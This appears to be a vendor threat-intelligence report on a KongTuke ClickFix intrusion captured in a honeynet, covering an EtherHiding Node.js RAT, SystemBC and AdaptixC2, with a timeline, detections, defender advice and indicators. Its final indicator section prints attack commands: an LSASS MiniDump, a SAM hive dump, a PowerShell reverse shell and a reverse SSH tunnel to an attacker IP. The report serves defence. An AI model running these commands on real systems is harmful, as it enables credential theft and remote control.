[Op Report] KongTuke ClickFix to SystemBC: HoK Intrusion

Written By MalBeacon

A KongTuke ClickFix intrusion, a Node.js RAT that reads its C2 off the Ethereum blockchain, and a live operator monitored for 12 days inside an instrumented honeynet.

Executive Summary

Over a twelve day window in September 2026, a Deception.Pro honeynet posing as a small property and casualty insurer, captured a full intrusion from initial access through hands on keyboard domain reconnaissance and multi gigabyte data staging. The operation was seeded with a live KongTuke ClickFix payload, the same fake CAPTCHA social engineering lure found on infected WordPress sites being used against real organizations, and left to run against a fully instrumented Windows AD replica with EDR, Suricata (ET Pro), and full packet capture.

The infection delivered a Node.js based backdoor that downloads its own Node runtime from nodejs[.]org and resolves its command and control address from an Ethereum smart contract, the “EtherHiding” technique. Rather than hard coding a domain, the implant polls a rotating set of public Ethereum RPC providers (tenderly, flashbots, merkle, drpc, blastapi, publicnode, mevblocker) to pull the current C2 URL. This is takedown resistant by design: infrastructure can be rotated on chain without touching the malware, and there is no registrar to serve an abuse notice.

With TLS inspection enabled, Deception.Pro recovered the actual C2 exchange in the clear: a curl based agent checking in to syshex6495[.]com/agent/v2/handshake and /agent/v2/beacon, a PowerShell stager (u2.ps1) pulled from redsun[.]live, and a decoy document (idulsjnsdl.docx) staged from the voiro-coles[.]com cluster.

From that foothold the operator ran the full playbook: local admin creation, SAM hive theft, LSASS credential access via comsvcs.dll MiniDump, Mimikatz ticket export, pass the hash and RottenPotato style privilege abuse, Impacket and CrackMapExec style domain enumeration, Cloudflare Tunnel and Chisel for tunneling, an AdaptixC2 agent for beaconing, a SystemBC proxy for persistence, and RDP re enabled with concurrent sessions for interactive access. Over 5 GB of data was exfiltrated out through the Cloudflare tunnel.

Because the environment was a deception, no real data was at risk. What Deception.Pro captured instead is a complete, time stamped, packet level record of a modern EtherHiding intrusion. The indicators, the Emerging Threats signatures that fired, the tradecraft, and the defender lessons are below.

Environment at a Glance

  • Replica Role: Underwriting Manager

  • Replica Organization: Property & Casualty Insurance

  • Industry: Insurance

  • Topology: Microsoft Active Directory environment with 1,000+ endpoints and 550+ users.

  • Replica Location: United States

  • Observed duration: ~289 hours (Sep 10 through Sep 22, 2026)

  • Sensor Stack: LimaCharlie EDR, Zeek, Suricata with ETPRO

  • Infection Vector: ClickFix (KongTuke)

  • Primary Threat Families: MintsLoader, EtherRAT, Chisel, AdaptixC2, SystemBC

Note: Replica personas, organizations, and documents are AI-generated and randomized for believability. Any resemblance to real-world entities is purely coincidental.

Timeline of Operation Activity

Times are UTC. The intrusion breaks into three phases: automated post infection recon on day one, a quiet interval, then two days of intensive hands on keyboard activity.

Phase 1: initial access and automated recon

Sep 10  ClickFix infection detonates. A Node.js runtime is downloaded from nodejs[.]org (v18.19.0 and v22.23.1) and the backdoor executes as node.exe from a masquerading path under AppData\...\Assemblies\41f2.

Sep 10  Implant resolves C2 via EtherHiding: thousands of DNS and TLS lookups to public Ethereum RPC providers (tenderly, flashbots, mevblocker, merkle, drpc, blastapi, publicnode).

Sep 10  Decrypted agent traffic to syshex6495[.]com (/agent/v2/handshake, beacon, task-ack, result); decoy idulsjnsdl.docx and PowerShell stager u2.ps1 from redsun[.]live.

Sep 10  PowerShell reverse shell to 77[.]91[.]123[.]131:9001 (WinosStager YARA hit). First SMB/SAMR domain account enumeration against the DC (T1087.002).

Phase 2: tooling and foothold expansion

Sep 11  Local admin user1 created and added to Administrators (T1136 / T1078). reg save HKLM\SAM dumps the SAM hive. Pass the hash and domain policy enumeration follow.

Sep 11  SSH reverse tunnel (-R *:1080) to 77[.]91[.]123[.]131; ffmpeg pulled from gyan[.]dev and used for gdigrab desktop screen capture streaming.

Sep 11 to 12  Cloudflare Tunnel (cloudflared.exe, trycloudflare/argotunnel) established. Large TLS uploads begin; alerts fire at 50 MB, 100 MB, 500 MB, then 1 to 5 GB staged out.

Sep 13  Chisel tunneling client (chisel.exe) pulled from 77[.]91[.]123[.]131:8000; Go http client beaconing to 85[.]113[.]71[.]20.

Phase 3: hands on keyboard, credential access and C2 upgrade

Sep 14  Interactive recon: systeminfo, route print, arp -a, nltest /dclist. A second payload win.exe (a proxy/relay) is fetched from 172[.]96[.]137[.]138:8000.

Sep 14  NTLM relay and credential capture to 172[.]96[.]137[.]138 (Responder style challenge/response over HTTP). Internal SMB brute and scan across 192[.]168[.]0[.]0/24.

Sep 14  LSASS memory dumped via rundll32 comsvcs.dll MiniDump to \Windows\Temp\ZbL.vsv (T1003.001), CrackMapExec style tasklist/find precursor. Mimikatz ticket export, Impacket Kerberos AS-REP / GoldenPac, RottenPotato style token abuse, and anonymous LDAP bind against the DC.

Sep 15  An MSI delivered AdaptixC2 agent (connect.msi to MSI8FD.tmp) begins high volume HTTP beaconing to 187[.]77[.]30[.]227:5005. A SystemBC proxy (s64.dll, later srvmtr.exe) is installed for persistence.

Sep 15  RDP re enabled: fDenyTSConnections=0, concurrent sessions enabled, firewall opened on 3389. Interactive logon using a different AD user from a threat actor’s workstation named WIN-HQ8EO8P8GBF.

Sep 15  Under the RDP session: Advanced IP Scanner run, nltest /dclist against unrelated domains (synergy.wan, edmonton.staging, operator cross checking), and PowerShell ISE used to compile C# on the fly (csc.exe).

Sep 15 to 22  VBS and scheduled task persistence (schtasks ... ONLOGON, *_svc.vbs). Long tail beaconing from SystemBC and periodic external IP checks continue through the end of the capture.

Total observed duration: ~ 289 hours

Assessment

The initial access artifact seeded into this deception is KongTuke ClickFix, a fake verification (“paste this to prove you’re human”) lure that runs a hidden conhost --headless cmd one liner. In the wild that command sideloads a malicious vclimg370.bpl via a legitimate signed Embarcadero TRegSvr.exe, ultimately fetching MintsLoader. Deception.Pro substituted an equivalent ZIP delivered payload to detonate the same chain safely.

The backdoor itself aligns with the publicly documented EtherRAT family (Sysdig, eSentire, Malwarebytes, Hunt.io, 2026): a compact Node.js implant that downloads its own runtime from nodejs[.]org and uses EtherHiding, an Ethereum eth_call against a smart contract, via consensus across multiple public RPC endpoints, to resolve a rotating C2 URL. The set of RPC providers observed here matches that family closely. The design goal is takedown resistance: the C2 domain can be rotated on chain, invisibly to registry scanners and immune to registrar takedown.

What followed was a conventional, capable post exploitation chain layered on that novel delivery:

  • Credential access: SAM hive export, LSASS MiniDump via comsvcs.dll, Mimikatz ticket export, and external NTLM relay and capture.

  • Privilege and lateral movement: pass the hash, RottenPotato style token abuse, and CrackMapExec style host operations.

  • Discovery: Impacket style SAMR/LDAP/Kerberos enumeration, Advanced IP Scanner, and broad host sweeps.

  • Command and control: layered redundancy across the EtherHiding Node.js RAT, AdaptixC2 over HTTP:5005, and a SystemBC SOCKS proxy for resilience.

  • Tunneling and exfil: Cloudflare Tunnel and Chisel, with 5 GB and more staged out over TLS, fully visible thanks to TLS inspection.

  • Access and persistence: RDP re-enabled with concurrent sessions, a rogue local admin, and VBS plus scheduled task run keys.

SystemBC and the WIZARD SPIDER lineage

SystemBC has a well documented pedigree. WIZARD SPIDER is the primary eCrime threat group known for using it. The Russia based operators of TrickBot, Ryuk, and Conti ransomware ran a vast cluster of SystemBC servers to establish persistent C2 and proxy traffic across thousands of compromised client devices (PRODAFT report, MITRE ATT&CK S9001, Anvilogic).

Because SystemBC is sold under a Malware as a Service model, several other groups tracked under CrowdStrike’s “SPIDER” designation also fold it into their attack chains (Huntress, MITRE):

  • ALPHA SPIDER: affiliates have deployed Linux compatible SystemBC variants to run network reconnaissance on VMware ESXi servers before dropping ransomware.

  • VICE SPIDER: known for Zeppelin and Hello Kitty ransomware, it frequently pairs SystemBC with Cobalt Strike and PowerShell Empire.

  • RIDDLE SPIDER: the Avaddon ransomware operators, whose affiliates use SystemBC as a post exploitation tool to move laterally through target networks.

The SystemBC proxy captured in this operation (s64.dll and srvmtr.exe, flagged by the Windows_Trojan_SystemBC_22bdbb5e YARA rule) sits squarely in that MaaS ecosystem. Its presence alongside an AdaptixC2 agent is the kind of pre ransomware staging that precedes an encryption event in real intrusions.

Emerging Threats Detections

Deception.Pro runs Suricata with the Emerging Threats (ET Pro) ruleset across every honeynet. The signatures below fired during this operation; counts are approximate hit totals over the capture. The high volume AdaptixC2 hits (over 100k each) reflect the agent’s continuous beaconing once installed.

Malware and C2

  • ET MALWARE Adaptix C2 Default User-Agent Observed  (109,669)

  • ET MALWARE Adaptix C2 X-Beacon-Id HTTP Header Observed  (109,669)

  • ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile  (22)

  • ET JA3 Hash - [Abuse.ch] Possible Trickbot  (1)

  • SSLBL: Malicious JA3 SSL-Client Fingerprint detected (TrickBot)  (1)

Credential theft and privilege escalation

  • ETPRO INFO NTLM Authentication Message Type 1 to External Host (Possible NTLM Hash Theft)  (8)

  • ETPRO INFO NTLM Authentication Message Type 2 From External Host (Possible NTLM Hash Theft)  (1)

  • ET EXPLOIT Possible GoldenPac Priv Esc in-use  (1)

Payload delivery

  • ET INFO Executable Download from dotted-quad Host  (10)

  • ET INFO PE EXE or DLL Windows file download HTTP  (5)

  • ET INFO Request for EXE via Powershell  (11)

  • ET INFO Packed Executable Download  (1)

  • ETPRO INFO Terse Request for .ps1 - Likely Hostile  (1)

  • ET INFO Github CDN for Release Assets Domain in TLS SNI (release-assets.githubusercontent.com)  (1)

Tunneling and exfil

  • ET INFO DNS Query to Cloudflare Tunneling Domain (argotunnel.com)  (12,644)

  • ET INFO Observed Cloudflare Tunneling Domain (argotunnel.com in TLS SNI)  (22)

  • ET INFO Observed trycloudflare.com Domain in TLS SNI  (10)

  • ET INFO Observed DNS Query to Commonly Abused Cloudflare Domain (trycloudflare.com)  (5)

External IP discovery

  • ET INFO Observed External IP Lookup Domain (icanhazip.com in TLS SNI)  (29)

  • ET INFO Observed External IP Lookup Domain (checkip.amazonaws.com) in TLS SNI  (29)

  • ET INFO External IP Address Lookup Domain (ipify.org) in TLS SNI  (29)

Emerging Threats ruleset content is provided by our sponsor. Learn more at emergingthreats.net.

Defender Takeaways

  • Alert on Ethereum RPC from non crypto endpoints. A workstation reaching tenderly, flashbots, mevblocker, merkle, drpc, blastapi or publicnode is a strong EtherHiding signal. Business hosts have no reason to talk to public Ethereum RPC providers.

  • Treat a self downloaded Node.js runtime as suspicious. node.exe appearing under AppData (especially a masquerading path like ...\Assemblies\41f2) that then makes network connections is not a developer tool.

  • Hunt the ClickFix precursor. Block or monitor conhost --headless, mshta, and pcalua and restrict the Run dialog via GPO. Watch for LOLBin download attempts through curl, certutil, bitsadmin, and PowerShell Invoke-WebRequest to bare IPs.

  • Watch for Cloudflare Tunnel and Chisel egress. trycloudflare and argotunnel SNI and Go http client user agents from a workstation are near always tunneling. Large sustained TLS uploads to a single public IP deserve their own alert threshold.

  • Protect LSASS and the SAM. Enable Credential Guard and RunAsPPL and alert on comsvcs.dll MiniDump, reg save HKLM\SAM, and Mimikatz style ticket export.

  • Constrain RDP change. Alert on runtime edits to fDenyTSConnections and concurrent session keys and on firewall rules opening 3389.

  • Signature based detection is not enough. EtherRAT re obfuscates itself each run, so file hashes rotate. Prioritize behavioral and network detections, exactly the telemetry a deception environment is built to produce.

About Deception Pro

Deception.Pro runs persistent, instrumented Windows Active Directory honeynet environments that pair long term malware detonations with proactive threat actor deception. Every environment is a believable enterprise replica, wired for EDR telemetry, Suricata EVE JSON with the Emerging Threats (ET Pro) ruleset, and full packet PCAP with TLS inspection, so real adversary tradecraft is captured end to end, in the clear, as it happens.

The result is high fidelity threat intelligence and licensable datasets drawn from genuine adversary behavior rather than lab simulation. This report was produced from a single operation; the same pipeline feeds indicator feeds, IR reporting, and research collaboration.

Learn more or get in touch at deception.pro.

Indicators of Compromise

Indicators are defanged. Ethereum RPC providers, nodejs[.]org, github, gyan[.]dev and Cloudflare are legitimate services abused by the implant; treat them as behavioral signals in context, not standalone blocklist entries.

Initial access: KongTuke ClickFix

  • hXXps://kusikowski[.]sbs/wbtmwsdr.js  (malicious JS loader)

  • syshex6495[.]com  (ClickFix command download + agent C2)

  • syshex6495[.]com/agent/v2/{handshake,beacon,task-ack,result}  (decrypted agent URIs)

  • hXXp://ocjipwlxi7kzxql[.]top/1.php?s={UID}  (MintsLoader, in-the-wild chain)

EtherHiding Smart Contract

  • 0xd8b8d42f2af83914fbf4316dbe3af0a7f577fbde

EtherHiding C2 resolution: Ethereum RPC providers (abused services)

  • mainnet[.]gateway[.]tenderly[.]co

  • rpc[.]flashbots[.]net

  • rpc[.]mevblocker[.]io

  • eth[.]merkle[.]io

  • eth[.]drpc[.]org

  • eth-mainnet[.]public[.]blastapi[.]io

  • ethereum-rpc[.]publicnode[.]com

C2 / payload domains and URIs

  • redsun[.]live  (initial EtherRAT payload/loader)

  • amigo[.]mexicocentral[.]cloudapp[.]azure[.]com (EtherRAT C2)

  • voiro-coles[.]com  (www /idulsjnsdl.docx decoy; kilos, vord, exfil POST)

  • bczlm[.]com

  • comonto-rsr[.]com  (firt, start, now)

  • bert-hits[.]com  (second, www, gets)

  • fif-lost[.]com  (stream, hyko)

  • mom-nower[.]com  (know)

  • edgeservice2933[.]com

  • edgejob4561[.]net

  • judge[.]huntmining[.]org  (mining/judge check-in)

C2 / staging IP addresses

  • 158[.]23[.]165[.]124  (node.exe C2, ~2.6 GB)

  • 35[.]194[.]62[.]236  (C2, ~1.9 GB)

  • 187[.]77[.]30[.]227:5005  (AdaptixC2)

  • 172[.]96[.]137[.]138:8000/80/443  (win.exe / NTLM relay)

  • 104[.]243[.]42[.]25  (connect.msi, s64.dll host)

  • 77[.]91[.]123[.]131:443/8000/9001  (reverse-SSH, Chisel host, PS reverse shell)

  • 158[.]23[.]165[.]254  (pyr.exe / ad.exe host)

  • 69[.]164[.]245[.]15:4405  (SystemBC rundll32 C2)

  • 85[.]113[.]71[.]20  (Go-http-client beacon)

  • 51[.]91[.]79[.]17  (temp[.]sh delivery)

Tunneling / delivery infrastructure (abused legitimate services)

  • .trycloudflare[.]com  /  .cftunnel[.]com  /  argotunnel[.]com  (Cloudflare Tunnel)

  • nodejs[.]org  (implant downloads Node v18.19.0 and v22.23.1 runtimes)

  • github[.]com/cloudflare/cloudflared/releases  (cloudflared download)

  • www[.]gyan[.]dev  (ffmpeg download, used for gdigrab screen capture)

  • temp[.]sh  (payload file sharing)

Files and hashes (SHA-256)

  • TRegSvr.exe (legit, signed Embarcadero)  — 4dafa7b6633309282d9b4fd5e75142eef438d970044e4d72ce090b7e1168bda6

  • vclimg370.bpl (malicious sideloaded DLL)  — d22a029b0fd967ef7a08501c1554a648f2f576f11706ab9a9ad9c042d63244ec

  • file.exe (win.exe / relay)  — 1159e357dc90e7560a94adacf8bb3ca8923e2ef5a11be414bab924b69e7c2bde

  • s64.dll (SystemBC)  — 5131be0a7dd030e844615d88904e1528611ccca0eed979da681c1d47302c6d82

  • MSI8FD.tmp (AdaptixC2)  — 27df8b11e83668baa91616583f27599251c2d554e4c941fe39ed2db2b86771ab

  • u2.ps1 (EtherRAT loader)  — ea55193528ed286541e7f95bf1210b989f519d81364181c2b9eab50c392dd698

Host artifacts

  • C:\Users\<user>\AppData\Local\Microsoft\Assemblies\41f2\  (Node.js RAT staging dir)

  • C:\Users\<user>\AppData\Local\Microsoft\Assemblies\41f2\node-v18.19.0-win-x64\node.exe

  • C:\Program Files\SrvMtr\srvmtr.exe  (SystemBC persistence)

  • C:\Windows\Temp\ZbL.vsv  (LSASS MiniDump output)

  • C:\Users\Public\connect.msi  (AdaptixC2 installer)

  • *_svc.vbs  +  schtasks /TN MicrosoftEdgeUpdateTask8a4c /SC ONLOGON  (persistence)

  • Local admin created: user1  (added to Administrators)

Behavioral / command indicators

  • conhost --headless cmd /v /c "set bh=hXXps:&set nu=//syshex6495[.]com/..."  (ClickFix)

  • rundll32.exe comsvcs.dll, MiniDump <lsass_pid> \Windows\Temp\ZbL.vsv full

  • reg save HKLM\SAM C:\temp\sam.hive

  • powershell -nop -W hidden -noni -ep bypass -c New-Object Net.Sockets.TCPClient('77.91.123.131',9001)

  • reg add ...\Terminal Server /v fDenyTSConnections /d 0  (+ EnableConcurrentSessions)

  • ssh -N -T -R *:1080 root@77.91.123.131 -p 443  (reverse SOCKS)

  • cloudflared tunnel --url hXXp://127.0.0[.]1:<port> --protocol http2

MalBeacon https://MalBeacon.com
Next

[Op Report] Hands-on-Keyboard Activity from the DPRK "PolinRider" Supply Chain Attack